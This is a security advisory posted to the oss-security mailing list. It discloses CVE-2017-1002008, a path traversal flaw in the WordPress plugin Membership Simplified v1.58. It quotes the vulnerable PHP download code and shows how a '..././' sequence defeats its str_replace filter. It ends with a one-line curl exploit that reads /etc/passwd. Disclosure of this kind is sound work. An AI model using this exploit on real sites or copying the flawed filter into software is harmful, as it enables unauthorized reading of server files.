[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Tue, 14 Mar 2017 16:33:34 -0400
From: "Larry W. Cashdollar" <larry0@...com>
To: Open Source Security <oss-security@...ts.openwall.com>
Subject: Arbitrary file download vulnerability in Wordpress Plugin Membership
Simplified v1.58
Title: Arbitrary file download vulnerability in Wordpress Plugin Membership Simplified v1.58
Author: Larry W. Cashdollar, @_larry0
Date: 2017-03-13
CVE-ID:[CVE-2017-1002008]
Download Site: https://wordpress.org/plugins/membership-simplified-for-oap-members-only
Vendor: https://profiles.wordpress.org/williamdeangelis/
Vendor Notified: 2017-03-13
Vendor Contact: plugins@...dpress.org
Advisory: http://www.vapidlabs.com/advisory.php?v=187
Description: Membership Simplified allows you to generate membership lessons with templated content to create a unified look and feel throughout your courses.
Vulnerability:
The file download code located membership-simplified-for-oap-members-only/download.php does check whether a user is logged in and has download privledges, the code on line 5 that checks the path can be defeated by using a ..././ pattern to get the desired ../ after being passed through the str_replace() function:
3 $path = substr(getcwd(), 0, -50). "uploads/membership-simplified-for-oap-members-only/"; // change the path to fit your websites document structure
4 $fullPath = $path.$_GET['download_file'];
5 $fullPath = str_replace("../","",$fullPath);
6
7 if ($fd = fopen($fullPath, "r")) {
8 $fsize = filesize($fullPath);
9 $path_parts = pathinfo($fullPath);
10 $ext = strtolower($path_parts["extension"]);
11 switch ($ext) {
12 case "pdf":
13 header("Content-type: application/pdf"); // add here more headers for d iff. extensions
14 header("Content-Disposition: attachment; filename=\"".$path_parts["base name"]."\""); // use 'attachment' to force a download
15 break;
16 default;
17 header("Content-type: application/octet-stream");
18 header("Content-Disposition: filename=\"".$path_parts["basename"]."\"") ;
19 }
20 header("Content-length: $fsize");
21 header("Cache-control: private"); //use this to open files directly
22 while(!feof($fd)) {
23 $buffer = fread($fd, 2048);
24 echo $buffer;
Exploit Code:
• $ curl http://example.com/wordpress/wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file=..././..././..././..././..././..././..././..././etc/passwd
•
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
